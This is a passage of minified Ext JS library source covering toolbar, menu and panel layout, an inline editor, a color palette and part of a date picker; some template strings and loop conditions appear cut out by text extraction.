"].join(""),onLayout:function(e,k){if(!this.leftTr){var h=e.buttonAlign=="center"?"center":"left";k.addClass("x-toolbar-layout-ct");k.insertHtml("beforeEnd",String.format(this.tableHTML,h));this.leftTr=k.child("tr.x-toolbar-left-row",true);this.rightTr=k.child("tr.x-toolbar-right-row",true);this.extrasTr=k.child("tr.x-toolbar-extras-row",true);if(this.hiddenItem==undefined){this.hiddenItems=[]}}var l=e.buttonAlign=="right"?this.rightTr:this.leftTr,m=e.items.items,d=0;for(var b=0,g=m.length,n;b=0&&(d=e[a]);a--){if(!d.firstChild){b.removeChild(d)}}},insertCell:function(e,b,a){var d=document.createElement("td");d.className="x-toolbar-cell";b.insertBefore(d,b.childNodes[a]||null);return d},hideItem:function(a){this.hiddenItems.push(a);a.xtbHidden=true;a.xtbWidth=a.getPositionEl().dom.parentNode.offsetWidth;a.hide()},unhideItem:function(a){a.show();a.xtbHidden=false;this.hiddenItems.remove(a)},getItemWidth:function(a){return a.hidden?(a.xtbWidth||0):a.getPositionEl().dom.parentNode.offsetWidth},fitToSize:function(l){if(this.container.enableOverflow===false){return}var b=l.dom.clientWidth,k=l.dom.firstChild.offsetWidth,n=b-this.triggerWidth,a=this.lastWidth||0,c=this.hiddenItems,e=c.length!=0,o=b>=a;this.lastWidth=b;if(k>b||(e&&o)){var m=this.container.items.items,h=m.length,d=0,p;for(var g=0;gn){if(!(p.hidden||p.xtbHidden)){this.hideItem(p)}}else{if(p.xtbHidden){this.unhideItem(p)}}}}}e=c.length!=0;if(e){this.initMore();if(!this.lastOverflow){this.container.fireEvent("overflowchange",this.container,true);this.lastOverflow=true}}else{if(this.more){this.clearMenu();this.more.destroy();delete this.more;if(this.lastOverflow){this.container.fireEvent("overflowchange",this.container,false);this.lastOverflow=false}}}},createMenuConfig:function(c,a){var b=Ext.apply({},c.initialConfig),d=c.toggleGroup;Ext.copyTo(b,c,["iconCls","icon","itemId","disabled","handler","scope","menu"]);Ext.apply(b,{text:c.overflowText||c.text,hideOnClick:a});if(d||c.enableToggle){Ext.apply(b,{group:d,checked:c.pressed,listeners:{checkchange:function(g,e){c.toggle(e)}}})}delete b.ownerCt;delete b.xtype;delete b.id;return b},addComponentToMenu:function(b,a){if(a instanceof Ext.Toolbar.Separator){b.add("-")}else{if(Ext.isFunction(a.isXType)){if(a.isXType("splitbutton")){b.add(this.createMenuConfig(a,true))}else{if(a.isXType("button")){b.add(this.createMenuConfig(a,!a.menu))}else{if(a.isXType("buttongroup")){a.items.each(function(c){this.addComponentToMenu(b,c)},this)}}}}}},clearMenu:function(){var a=this.moreMenu;if(a&&a.items){a.items.each(function(b){delete b.menu})}},beforeMoreShow:function(h){var b=this.container.items.items,a=b.length,g,e;var c=function(k,i){return k.isXType("buttongroup")&&!(i instanceof Ext.Toolbar.Separator)};this.clearMenu();h.removeAll();for(var d=0;d','','{altText}',"","")}if(g&&!g.rendered){if(Ext.isNumber(b)){b=e.dom.childNodes[b]}var d=this.getItemArgs(g);g.render(g.positionEl=b?this.itemTpl.insertBefore(b,d,true):this.itemTpl.append(e,d,true));g.positionEl.menuItemId=g.getItemId();if(!d.isMenuItem&&d.needsIcon){g.positionEl.addClass("x-menu-list-item-indent")}this.configureItem(g)}else{if(g&&!this.isValidParent(g,e)){if(Ext.isNumber(b)){b=e.dom.childNodes[b]}e.dom.insertBefore(g.getActionEl().dom,b||null)}}},getItemArgs:function(d){var a=d instanceof Ext.menu.Item,b=!(a||d instanceof Ext.menu.Separator);return{isMenuItem:a,needsIcon:b&&(d.icon||d.iconCls),icon:d.icon||Ext.BLANK_IMAGE_URL,iconCls:"x-menu-item-icon "+(d.iconCls||""),itemId:"x-menu-el-"+d.id,itemCls:"x-menu-list-item ",altText:d.altText||""}},isValidParent:function(b,a){return b.el.up("li.x-menu-list-item",5).dom.parentNode===(a.dom||a)},onLayout:function(a,b){Ext.layout.MenuLayout.superclass.onLayout.call(this,a,b);this.doAutoSize()},doAutoSize:function(){var c=this.container,a=c.width;if(c.floating){if(a){c.setWidth(a)}else{if(Ext.isIE){c.setWidth(Ext.isStrict&&(Ext.isIE7||Ext.isIE8)?"auto":c.minWidth);var d=c.getEl(),b=d.dom.offsetWidth;c.setWidth(c.getLayoutTarget().getWidth()+d.getFrameWidth("lr"))}}}}});Ext.Container.LAYOUTS.menu=Ext.layout.MenuLayout;Ext.Viewport=Ext.extend(Ext.Container,{initComponent:function(){Ext.Viewport.superclass.initComponent.call(this);document.getElementsByTagName("html")[0].className+=" x-viewport";this.el=Ext.getBody();this.el.setHeight=Ext.emptyFn;this.el.setWidth=Ext.emptyFn;this.el.setSize=Ext.emptyFn;this.el.dom.scroll="no";this.allowDomMove=false;this.autoWidth=true;this.autoHeight=true;Ext.EventManager.onWindowResize(this.fireResize,this);this.renderTo=this.el},fireResize:function(a,b){this.fireEvent("resize",this,a,b,a,b)}});Ext.reg("viewport",Ext.Viewport);Ext.Panel=Ext.extend(Ext.Container,{baseCls:"x-panel",collapsedCls:"x-panel-collapsed",maskDisabled:true,animCollapse:Ext.enableFx,headerAsText:true,buttonAlign:"right",collapsed:false,collapseFirst:true,minButtonWidth:75,elements:"body",preventBodyReset:false,padding:undefined,resizeEvent:"bodyresize",toolTarget:"header",collapseEl:"bwrap",slideAnchor:"t",disabledClass:"",deferHeight:true,expandDefaults:{duration:0.25},collapseDefaults:{duration:0.25},initComponent:function(){Ext.Panel.superclass.initComponent.call(this);this.addEvents("bodyresize","titlechange","iconchange","collapse","expand","beforecollapse","beforeexpand","beforeclose","close","activate","deactivate");if(this.unstyled){this.baseCls="x-plain"}this.toolbars=[];if(this.tbar){this.elements+=",tbar";this.topToolbar=this.createToolbar(this.tbar);this.tbar=null}if(this.bbar){this.elements+=",bbar";this.bottomToolbar=this.createToolbar(this.bbar);this.bbar=null}if(this.header===true){this.elements+=",header";this.header=null}else{if(this.headerCfg||(this.title&&this.header!==false)){this.elements+=",header"}}if(this.footerCfg||this.footer===true){this.elements+=",footer";this.footer=null}if(this.buttons){this.fbar=this.buttons;this.buttons=null}if(this.fbar){this.createFbar(this.fbar)}if(this.autoLoad){this.on("render",this.doAutoLoad,this,{delay:10})}},createFbar:function(b){var a=this.minButtonWidth;this.elements+=",footer";this.fbar=this.createToolbar(b,{buttonAlign:this.buttonAlign,toolbarCls:"x-panel-fbar",enableOverflow:false,defaults:function(d){return{minWidth:d.minWidth||a}}});this.fbar.items.each(function(d){d.minWidth=d.minWidth||this.minButtonWidth},this);this.buttons=this.fbar.items.items},createToolbar:function(b,c){var a;if(Ext.isArray(b)){b={items:b}}a=b.events?Ext.apply(b,c):this.createComponent(Ext.apply({},b,c),"toolbar");this.toolbars.push(a);return a},createElement:function(a,c){if(this[a]){c.appendChild(this[a].dom);return}if(a==="bwrap"||this.elements.indexOf(a)!=-1){if(this[a+"Cfg"]){this[a]=Ext.fly(c).createChild(this[a+"Cfg"])}else{var b=document.createElement("div");b.className=this[a+"Cls"];this[a]=Ext.get(c.appendChild(b))}if(this[a+"CssClass"]){this[a].addClass(this[a+"CssClass"])}if(this[a+"Style"]){this[a].applyStyles(this[a+"Style"])}}},onRender:function(g,e){Ext.Panel.superclass.onRender.call(this,g,e);this.createClasses();var a=this.el,h=a.dom,l,i;if(this.collapsible&&!this.hideCollapseTool){this.tools=this.tools?this.tools.slice(0):[];this.tools[this.collapseFirst?"unshift":"push"]({id:"toggle",handler:this.toggleCollapse,scope:this})}if(this.tools){i=this.tools;this.elements+=(this.header!==false)?",header":""}this.tools={};a.addClass(this.baseCls);if(h.firstChild){this.header=a.down("."+this.headerCls);this.bwrap=a.down("."+this.bwrapCls);var k=this.bwrap?this.bwrap:a;this.tbar=k.down("."+this.tbarCls);this.body=k.down("."+this.bodyCls);this.bbar=k.down("."+this.bbarCls);this.footer=k.down("."+this.footerCls);this.fromMarkup=true}if(this.preventBodyReset===true){a.addClass("x-panel-reset")}if(this.cls){a.addClass(this.cls)}if(this.buttons){this.elements+=",footer"}if(this.frame){a.insertHtml("afterBegin",String.format(Ext.Element.boxMarkup,this.baseCls));this.createElement("header",h.firstChild.firstChild.firstChild);this.createElement("bwrap",h);l=this.bwrap.dom;var c=h.childNodes[1],b=h.childNodes[2];l.appendChild(c);l.appendChild(b);var m=l.firstChild.firstChild.firstChild;this.createElement("tbar",m);this.createElement("body",m);this.createElement("bbar",m);this.createElement("footer",l.lastChild.firstChild.firstChild);if(!this.footer){this.bwrap.dom.lastChild.className+=" x-panel-nofooter"}this.ft=Ext.get(this.bwrap.dom.lastChild);this.mc=Ext.get(m)}else{this.createElement("header",h);this.createElement("bwrap",h);l=this.bwrap.dom;this.createElement("tbar",l);this.createElement("body",l);this.createElement("bbar",l);this.createElement("footer",l);if(!this.header){this.body.addClass(this.bodyCls+"-noheader");if(this.tbar){this.tbar.addClass(this.tbarCls+"-noheader")}}}if(Ext.isDefined(this.padding)){this.body.setStyle("padding",this.body.addUnits(this.padding))}if(this.border===false){this.el.addClass(this.baseCls+"-noborder");this.body.addClass(this.bodyCls+"-noborder");if(this.header){this.header.addClass(this.headerCls+"-noborder")}if(this.footer){this.footer.addClass(this.footerCls+"-noborder")}if(this.tbar){this.tbar.addClass(this.tbarCls+"-noborder")}if(this.bbar){this.bbar.addClass(this.bbarCls+"-noborder")}}if(this.bodyBorder===false){this.body.addClass(this.bodyCls+"-noborder")}this.bwrap.enableDisplayMode("block");if(this.header){this.header.unselectable();if(this.headerAsText){this.header.dom.innerHTML=''+this.header.dom.innerHTML+"";if(this.iconCls){this.setIconClass(this.iconCls)}}}if(this.floating){this.makeFloating(this.floating)}if(this.collapsible&&this.titleCollapse&&this.header){this.mon(this.header,"click",this.toggleCollapse,this);this.header.setStyle("cursor","pointer")}if(i){this.addTool.apply(this,i)}if(this.fbar){this.footer.addClass("x-panel-btns");this.fbar.ownerCt=this;this.fbar.render(this.footer);this.footer.createChild({cls:"x-clear"})}if(this.tbar&&this.topToolbar){this.topToolbar.ownerCt=this;this.topToolbar.render(this.tbar)}if(this.bbar&&this.bottomToolbar){this.bottomToolbar.ownerCt=this;this.bottomToolbar.render(this.bbar)}},setIconClass:function(b){var a=this.iconCls;this.iconCls=b;if(this.rendered&&this.header){if(this.frame){this.header.addClass("x-panel-icon");this.header.replaceClass(a,this.iconCls)}else{var e=this.header,c=e.child("img.x-panel-inline-icon");if(c){Ext.fly(c).replaceClass(a,this.iconCls)}else{var d=e.child("span."+this.headerTextCls);if(d){Ext.DomHelper.insertBefore(d.dom,{tag:"img",alt:"",src:Ext.BLANK_IMAGE_URL,cls:"x-panel-inline-icon "+this.iconCls})}}}}this.fireEvent("iconchange",this,b,a)},makeFloating:function(a){this.floating=true;this.el=new Ext.Layer(Ext.apply({},a,{shadow:Ext.isDefined(this.shadow)?this.shadow:"sides",shadowOffset:this.shadowOffset,constrain:false,shim:this.shim===false?false:undefined}),this.el)},getTopToolbar:function(){return this.topToolbar},getBottomToolbar:function(){return this.bottomToolbar},getFooterToolbar:function(){return this.fbar},addButton:function(a,c,b){if(!this.fbar){this.createFbar([])}if(c){if(Ext.isString(a)){a={text:a}}a=Ext.apply({handler:c,scope:b},a)}return this.fbar.add(a)},addTool:function(){if(!this.rendered){if(!this.tools){this.tools=[]}Ext.each(arguments,function(a){this.tools.push(a)},this);return}if(!this[this.toolTarget]){return}if(!this.toolTemplate){var h=new Ext.Template('
 
');h.disableFormats=true;h.compile();Ext.Panel.prototype.toolTemplate=h}for(var g=0,d=arguments,c=d.length;g0){Ext.each(this.toolbars,function(c){c.doLayout(undefined,a)});this.syncHeight()}},syncHeight:function(){var b=this.toolbarHeight,c=this.body,a=this.lastSize.height,d;if(this.autoHeight||!Ext.isDefined(a)||a=="auto"){return}if(b!=this.getToolbarHeight()){b=Math.max(0,a-this.getFrameHeight());c.setHeight(b);d=c.getSize();this.toolbarHeight=this.getToolbarHeight();this.onBodyResize(d.width,d.height)}},onShow:function(){if(this.floating){return this.el.show()}Ext.Panel.superclass.onShow.call(this)},onHide:function(){if(this.floating){return this.el.hide()}Ext.Panel.superclass.onHide.call(this)},createToolHandler:function(c,a,d,b){return function(g){c.removeClass(d);if(a.stopEvent!==false){g.stopEvent()}if(a.handler){a.handler.call(a.scope||c,g,c,b,a)}}},afterRender:function(){if(this.floating&&!this.hidden){this.el.show()}if(this.title){this.setTitle(this.title)}Ext.Panel.superclass.afterRender.call(this);if(this.collapsed){this.collapsed=false;this.collapse(false)}this.initEvents()},getKeyMap:function(){if(!this.keyMap){this.keyMap=new Ext.KeyMap(this.el,this.keys)}return this.keyMap},initEvents:function(){if(this.keys){this.getKeyMap()}if(this.draggable){this.initDraggable()}if(this.toolbars.length>0){Ext.each(this.toolbars,function(a){a.doLayout();a.on({scope:this,afterlayout:this.syncHeight,remove:this.syncHeight})},this);this.syncHeight()}},initDraggable:function(){this.dd=new Ext.Panel.DD(this,Ext.isBoolean(this.draggable)?null:this.draggable)},beforeEffect:function(a){if(this.floating){this.el.beforeAction()}if(a!==false){this.el.addClass("x-panel-animated")}},afterEffect:function(a){this.syncShadow();this.el.removeClass("x-panel-animated")},createEffect:function(c,b,d){var e={scope:d,block:true};if(c===true){e.callback=b;return e}else{if(!c.callback){e.callback=b}else{e.callback=function(){b.call(d);Ext.callback(c.callback,c.scope)}}}return Ext.applyIf(e,c)},collapse:function(b){if(this.collapsed||this.el.hasFxBlock()||this.fireEvent("beforecollapse",this,b)===false){return}var a=b===true||(b!==false&&this.animCollapse);this.beforeEffect(a);this.onCollapse(a,b);return this},onCollapse:function(a,b){if(a){this[this.collapseEl].slideOut(this.slideAnchor,Ext.apply(this.createEffect(b||true,this.afterCollapse,this),this.collapseDefaults))}else{this[this.collapseEl].hide(this.hideMode);this.afterCollapse(false)}},afterCollapse:function(a){this.collapsed=true;this.el.addClass(this.collapsedCls);if(a!==false){this[this.collapseEl].hide(this.hideMode)}this.afterEffect(a);this.cascade(function(b){if(b.lastSize){b.lastSize={width:undefined,height:undefined}}});this.fireEvent("collapse",this)},expand:function(b){if(!this.collapsed||this.el.hasFxBlock()||this.fireEvent("beforeexpand",this,b)===false){return}var a=b===true||(b!==false&&this.animCollapse);this.el.removeClass(this.collapsedCls);this.beforeEffect(a);this.onExpand(a,b);return this},onExpand:function(a,b){if(a){this[this.collapseEl].slideIn(this.slideAnchor,Ext.apply(this.createEffect(b||true,this.afterExpand,this),this.expandDefaults))}else{this[this.collapseEl].show(this.hideMode);this.afterExpand(false)}},afterExpand:function(a){this.collapsed=false;if(a!==false){this[this.collapseEl].show(this.hideMode)}this.afterEffect(a);if(this.deferLayout){delete this.deferLayout;this.doLayout(true)}this.fireEvent("expand",this)},toggleCollapse:function(a){this[this.collapsed?"expand":"collapse"](a);return this},onDisable:function(){if(this.rendered&&this.maskDisabled){this.el.mask()}Ext.Panel.superclass.onDisable.call(this)},onEnable:function(){if(this.rendered&&this.maskDisabled){this.el.unmask()}Ext.Panel.superclass.onEnable.call(this)},onResize:function(g,d,c,e){var a=g,b=d;if(Ext.isDefined(a)||Ext.isDefined(b)){if(!this.collapsed){if(Ext.isNumber(a)){this.body.setWidth(a=this.adjustBodyWidth(a-this.getFrameWidth()))}else{if(a=="auto"){a=this.body.setWidth("auto").dom.offsetWidth}else{a=this.body.dom.offsetWidth}}if(this.tbar){this.tbar.setWidth(a);if(this.topToolbar){this.topToolbar.setSize(a)}}if(this.bbar){this.bbar.setWidth(a);if(this.bottomToolbar){this.bottomToolbar.setSize(a);if(Ext.isIE){this.bbar.setStyle("position","static");this.bbar.setStyle("position","")}}}if(this.footer){this.footer.setWidth(a);if(this.fbar){this.fbar.setSize(Ext.isIE?(a-this.footer.getFrameWidth("lr")):"auto")}}if(Ext.isNumber(b)){b=Math.max(0,b-this.getFrameHeight());this.body.setHeight(b)}else{if(b=="auto"){this.body.setHeight(b)}}if(this.disabled&&this.el._mask){this.el._mask.setSize(this.el.dom.clientWidth,this.el.getHeight())}}else{this.queuedBodySize={width:a,height:b};if(!this.queuedExpand&&this.allowQueuedExpand!==false){this.queuedExpand=true;this.on("expand",function(){delete this.queuedExpand;this.onResize(this.queuedBodySize.width,this.queuedBodySize.height)},this,{single:true})}}this.onBodyResize(a,b)}this.syncShadow();Ext.Panel.superclass.onResize.call(this,g,d,c,e)},onBodyResize:function(a,b){this.fireEvent("bodyresize",this,a,b)},getToolbarHeight:function(){var a=0;if(this.rendered){Ext.each(this.toolbars,function(b){a+=b.getHeight()},this)}return a},adjustBodyHeight:function(a){return a},adjustBodyWidth:function(a){return a},onPosition:function(){this.syncShadow()},getFrameWidth:function(){var b=this.el.getFrameWidth("lr")+this.bwrap.getFrameWidth("lr");if(this.frame){var a=this.bwrap.dom.firstChild;b+=(Ext.fly(a).getFrameWidth("l")+Ext.fly(a.firstChild).getFrameWidth("r"));b+=this.mc.getFrameWidth("lr")}return b},getFrameHeight:function(){var a=this.el.getFrameWidth("tb")+this.bwrap.getFrameWidth("tb");a+=(this.tbar?this.tbar.getHeight():0)+(this.bbar?this.bbar.getHeight():0);if(this.frame){a+=this.el.dom.firstChild.offsetHeight+this.ft.dom.offsetHeight+this.mc.getFrameWidth("tb")}else{a+=(this.header?this.header.getHeight():0)+(this.footer?this.footer.getHeight():0)}return a},getInnerWidth:function(){return this.getSize().width-this.getFrameWidth()},getInnerHeight:function(){return this.body.getHeight()},syncShadow:function(){if(this.floating){this.el.sync(true)}},getLayoutTarget:function(){return this.body},getContentTarget:function(){return this.body},setTitle:function(b,a){this.title=b;if(this.header&&this.headerAsText){this.header.child("span").update(b)}if(a){this.setIconClass(a)}this.fireEvent("titlechange",this,b);return this},getUpdater:function(){return this.body.getUpdater()},load:function(){var a=this.body.getUpdater();a.update.apply(a,arguments);return this},beforeDestroy:function(){Ext.Panel.superclass.beforeDestroy.call(this);if(this.header){this.header.removeAllListeners()}if(this.tools){for(var a in this.tools){Ext.destroy(this.tools[a])}}if(this.toolbars.length>0){Ext.each(this.toolbars,function(b){b.un("afterlayout",this.syncHeight,this);b.un("remove",this.syncHeight,this)},this)}if(Ext.isArray(this.buttons)){while(this.buttons.length){Ext.destroy(this.buttons[0])}}if(this.rendered){Ext.destroy(this.ft,this.header,this.footer,this.tbar,this.bbar,this.body,this.mc,this.bwrap,this.dd);if(this.fbar){Ext.destroy(this.fbar,this.fbar.el)}}Ext.destroy(this.toolbars)},createClasses:function(){this.headerCls=this.baseCls+"-header";this.headerTextCls=this.baseCls+"-header-text";this.bwrapCls=this.baseCls+"-bwrap";this.tbarCls=this.baseCls+"-tbar";this.bodyCls=this.baseCls+"-body";this.bbarCls=this.baseCls+"-bbar";this.footerCls=this.baseCls+"-footer"},createGhost:function(a,e,b){var d=document.createElement("div");d.className="x-panel-ghost "+(a?a:"");if(this.header){d.appendChild(this.el.dom.firstChild.cloneNode(true))}Ext.fly(d.appendChild(document.createElement("ul"))).setHeight(this.bwrap.getHeight());d.style.width=this.el.dom.offsetWidth+"px";if(!b){this.container.dom.appendChild(d)}else{Ext.getDom(b).appendChild(d)}if(e!==false&&this.el.useShim!==false){var c=new Ext.Layer({shadow:false,useDisplay:true,constrain:false},d);c.show();return c}else{return new Ext.Element(d)}},doAutoLoad:function(){var a=this.body.getUpdater();if(this.renderer){a.setRenderer(this.renderer)}a.update(Ext.isObject(this.autoLoad)?this.autoLoad:{url:this.autoLoad})},getTool:function(a){return this.tools[a]}});Ext.reg("panel",Ext.Panel);Ext.Editor=function(b,a){if(b.field){this.field=Ext.create(b.field,"textfield");a=Ext.apply({},b);delete a.field}else{this.field=b}Ext.Editor.superclass.constructor.call(this,a)};Ext.extend(Ext.Editor,Ext.Component,{allowBlur:true,value:"",alignment:"c-c?",offsets:[0,0],shadow:"frame",constrain:false,swallowKeys:true,completeOnEnter:true,cancelOnEsc:true,updateEl:false,initComponent:function(){Ext.Editor.superclass.initComponent.call(this);this.addEvents("beforestartedit","startedit","beforecomplete","complete","canceledit","specialkey")},onRender:function(b,a){this.el=new Ext.Layer({shadow:this.shadow,cls:"x-editor",parentEl:b,shim:this.shim,shadowOffset:this.shadowOffset||4,id:this.id,constrain:this.constrain});if(this.zIndex){this.el.setZIndex(this.zIndex)}this.el.setStyle("overflow",Ext.isGecko?"auto":"hidden");if(this.field.msgTarget!="title"){this.field.msgTarget="qtip"}this.field.inEditor=true;this.mon(this.field,{scope:this,blur:this.onBlur,specialkey:this.onSpecialKey});if(this.field.grow){this.mon(this.field,"autosize",this.el.sync,this.el,{delay:1})}this.field.render(this.el).show();this.field.getEl().dom.name="";if(this.swallowKeys){this.field.el.swallowEvent(["keypress","keydown"])}},onSpecialKey:function(g,d){var b=d.getKey(),a=this.completeOnEnter&&b==d.ENTER,c=this.cancelOnEsc&&b==d.ESC;if(a||c){d.stopEvent();if(a){this.completeEdit()}else{this.cancelEdit()}if(g.triggerBlur){g.triggerBlur()}}this.fireEvent("specialkey",g,d)},startEdit:function(b,c){if(this.editing){this.completeEdit()}this.boundEl=Ext.get(b);var a=c!==undefined?c:this.boundEl.dom.innerHTML;if(!this.rendered){this.render(this.parentEl||document.body)}if(this.fireEvent("beforestartedit",this,this.boundEl,a)!==false){this.startValue=a;this.field.reset();this.field.setValue(a);this.realign(true);this.editing=true;this.show()}},doAutoSize:function(){if(this.autoSize){var b=this.boundEl.getSize(),a=this.field.getSize();switch(this.autoSize){case"width":this.setSize(b.width,a.height);break;case"height":this.setSize(a.width,b.height);break;case"none":this.setSize(a.width,a.height);break;default:this.setSize(b.width,b.height)}}},setSize:function(a,b){delete this.field.lastSize;this.field.setSize(a,b);if(this.el){if(Ext.isGecko2||Ext.isOpera||(Ext.isIE7&&Ext.isStrict)){this.el.setSize(a,b)}this.el.sync()}},realign:function(a){if(a===true){this.doAutoSize()}this.el.alignTo(this.boundEl,this.alignment,this.offsets)},completeEdit:function(a){if(!this.editing){return}if(this.field.assertValue){this.field.assertValue()}var b=this.getValue();if(!this.field.isValid()){if(this.revertInvalid!==false){this.cancelEdit(a)}return}if(String(b)===String(this.startValue)&&this.ignoreNoChange){this.hideEdit(a);return}if(this.fireEvent("beforecomplete",this,b,this.startValue)!==false){b=this.getValue();if(this.updateEl&&this.boundEl){this.boundEl.update(b)}this.hideEdit(a);this.fireEvent("complete",this,b,this.startValue)}},onShow:function(){this.el.show();if(this.hideEl!==false){this.boundEl.hide()}this.field.show().focus(false,true);this.fireEvent("startedit",this.boundEl,this.startValue)},cancelEdit:function(a){if(this.editing){var b=this.getValue();this.setValue(this.startValue);this.hideEdit(a);this.fireEvent("canceledit",this,b,this.startValue)}},hideEdit:function(a){if(a!==true){this.editing=false;this.hide()}},onBlur:function(){if(this.allowBlur===true&&this.editing&&this.selectSameEditor!==true){this.completeEdit()}},onHide:function(){if(this.editing){this.completeEdit();return}this.field.blur();if(this.field.collapse){this.field.collapse()}this.el.hide();if(this.hideEl!==false){this.boundEl.show()}},setValue:function(a){this.field.setValue(a)},getValue:function(){return this.field.getValue()},beforeDestroy:function(){Ext.destroyMembers(this,"field");delete this.parentEl;delete this.boundEl}});Ext.reg("editor",Ext.Editor);Ext.ColorPalette=Ext.extend(Ext.Component,{itemCls:"x-color-palette",value:null,clickEvent:"click",ctype:"Ext.ColorPalette",allowReselect:false,colors:["000000","993300","333300","003300","003366","000080","333399","333333","800000","FF6600","808000","008000","008080","0000FF","666699","808080","FF0000","FF9900","99CC00","339966","33CCCC","3366FF","800080","969696","FF00FF","FFCC00","FFFF00","00FF00","00FFFF","00CCFF","993366","C0C0C0","FF99CC","FFCC99","FFFF99","CCFFCC","CCFFFF","99CCFF","CC99FF","FFFFFF"],initComponent:function(){Ext.ColorPalette.superclass.initComponent.call(this);this.addEvents("select");if(this.handler){this.on("select",this.handler,this.scope,true)}},onRender:function(b,a){this.autoEl={tag:"div",cls:this.itemCls};Ext.ColorPalette.superclass.onRender.call(this,b,a);var c=this.tpl||new Ext.XTemplate(' ');c.overwrite(this.el,this.colors);this.mon(this.el,this.clickEvent,this.handleClick,this,{delegate:"a"});if(this.clickEvent!="click"){this.mon(this.el,"click",Ext.emptyFn,this,{delegate:"a",preventDefault:true})}},afterRender:function(){Ext.ColorPalette.superclass.afterRender.call(this);if(this.value){var a=this.value;this.value=null;this.select(a,true)}},handleClick:function(b,a){b.preventDefault();if(!this.disabled){var d=a.className.match(/(?:^|\s)color-(.{6})(?:\s|$)/)[1];this.select(d.toUpperCase())}},select:function(b,a){b=b.replace("#","");if(b!=this.value||this.allowReselect){var c=this.el;if(this.value){c.child("a.color-"+this.value).removeClass("x-color-palette-sel")}c.child("a.color-"+b).addClass("x-color-palette-sel");this.value=b;if(a!==true){this.fireEvent("select",this,b)}}}});Ext.reg("colorpalette",Ext.ColorPalette);Ext.DatePicker=Ext.extend(Ext.BoxComponent,{todayText:"Today",okText:" OK ",cancelText:"Cancel",todayTip:"{0} (Spacebar)",minText:"This date is before the minimum date",maxText:"This date is after the maximum date",format:"m/d/y",disabledDaysText:"Disabled",disabledDatesText:"Disabled",monthNames:Date.monthNames,dayNames:Date.dayNames,nextText:"Next Month (Control+Right)",prevText:"Previous Month (Control+Left)",monthYearText:"Choose a month (Control+Up/Down to move years)",startDay:0,showToday:true,focusOnSelect:true,initHour:12,initComponent:function(){Ext.DatePicker.superclass.initComponent.call(this);this.value=this.value?this.value.clearTime(true):new Date().clearTime();this.addEvents("select");if(this.handler){this.on("select",this.handler,this.scope||this)}this.initDisabledDays()},initDisabledDays:function(){if(!this.disabledDatesRE&&this.disabledDates){var b=this.disabledDates,a=b.length-1,c="(?:";Ext.each(b,function(g,e){c+=Ext.isDate(g)?"^"+Ext.escapeRe(g.dateFormat(this.format))+"$":b[e];if(e!=a){c+="|"}},this);this.disabledDatesRE=new RegExp(c+")")}},setDisabledDates:function(a){if(Ext.isArray(a)){this.disabledDates=a;this.disabledDatesRE=null}else{this.disabledDatesRE=a}this.initDisabledDays();this.update(this.value,true)},setDisabledDays:function(a){this.disabledDays=a;this.update(this.value,true)},setMinDate:function(a){this.minDate=a;this.update(this.value,true)},setMaxDate:function(a){this.maxDate=a;this.update(this.value,true)},setValue:function(a){this.value=a.clearTime(true);this.update(this.value)},getValue:function(){return this.value},focus:function(){this.update(this.activeDate)},onEnable:function(a){Ext.DatePicker.superclass.onEnable.call(this);this.doDisabled(false);this.update(a?this.value:this.activeDate);if(Ext.isIE){this.el.repaint()}},onDisable:function(){Ext.DatePicker.superclass.onDisable.call(this);this.doDisabled(true);if(Ext.isIE&&!Ext.isIE8){Ext.each([].concat(this.textNodes,this.el.query("th span")),function(a){Ext.fly(a).repaint()})}},doDisabled:function(a){this.keyNav.setDisabled(a);this.prevRepeater.setDisabled(a);this.nextRepeater.setDisabled(a);if(this.showToday){this.todayKeyListener.setDisabled(a);this.todayBtn.setDisabled(a)}},onRender:function(e,b){var a=['','','",this.showToday?'':"",'
  
'],c=this.dayNames,h;for(h=0;h<7;h++){var l=this.startDay+h;if(l>6){l=l-7}a.push("")}a[a.length]="";for(h=0;h<42;h++){if(h%7===0&&h!==0){a[a.length]=""}a[a.length]=''}a.push("
",c[l].substr(0,1),"
');var k=document.createElement("div");k.className="x-date-picker";k.innerHTML=a.join("");e.dom.insertBefore(k,b);this.el=Ext.get(k);this.eventEl=Ext.get(k.firstChild);this.prevRepeater=new Ext.util.ClickRepeater(this.el.child("td.x-date-left a"),{handler:this.showPrevMonth,scope:this,preventDefault:true,stopDefault:true});this.nextRepeater=new Ext.util.ClickRepeater(this.el.child("td.x-date-right a"),{handler:this.showNextMonth,scope:this,preventDefault:true,stopDefault:true});this.monthPicker=this.el.down("div.x-date-mp");this.monthPicker.enableDisplayMode("block");this.keyNav=new Ext.KeyNav(this.eventEl,{left:function(d){if(d.ctrlKey){this.showPrevMonth()}else{this.update(this.activeDate.add("d",-1))}},right:function(d){if(d.ctrlKey){this.showNextMonth()}else{this.update(this.activeDate.add("d",1))}},up:function(d){if(d.ctrlKey){this.showNextYear()}else{this.update(this.activeDate.add("d",-7))}},down:function(d){if(d.ctrlKey){this.showPrevYear()}else{this.update(this.activeDate.add("d",7))}},pageUp:function(d){this.showNextMonth()},pageDown:function(d){this.showPrevMonth()},enter:function(d){d.stopPropagation();return true},scope:this});this.el.unselectable();this.cells=this.el.select("table.x-date-inner tbody td");this.textNodes=this.el.query("table.x-date-inner tbody span");this.mbtn=new Ext.Button({text:" ",tooltip:this.monthYearText,renderTo:this.el.child("td.x-date-middle",true)});this.mbtn.el.child("em").addClass("x-btn-arrow");if(this.showToday){this.todayKeyListener=this.eventEl.addKeyListener(Ext.EventObject.SPACE,this.selectToday,this);var g=(new Date()).dateFormat(this.format);this.todayBtn=new Ext.Button({renderTo:this.el.child("td.x-date-bottom",true),text:String.format(this.todayText,g),tooltip:String.format(this.todayTip,g),handler:this.selectToday,scope:this})}this.mon(this.eventEl,"mousewheel",this.handleMouseWheel,this);this.mon(this.eventEl,"click",this.handleDateClick,this,{delegate:"a.x-date-date"});this.mon(this.mbtn,"click",this.showMonthPicker,this);this.onEnable(true)},createMonthPicker:function(){if(!this.monthPicker.dom.firstChild){var a=[''];for(var b=0;b<6;b++){a.push('",'",b===0?'':'')}a.push('","
',Date.getShortMonthName(b),"',Date.getShortMonthName(b+6),"
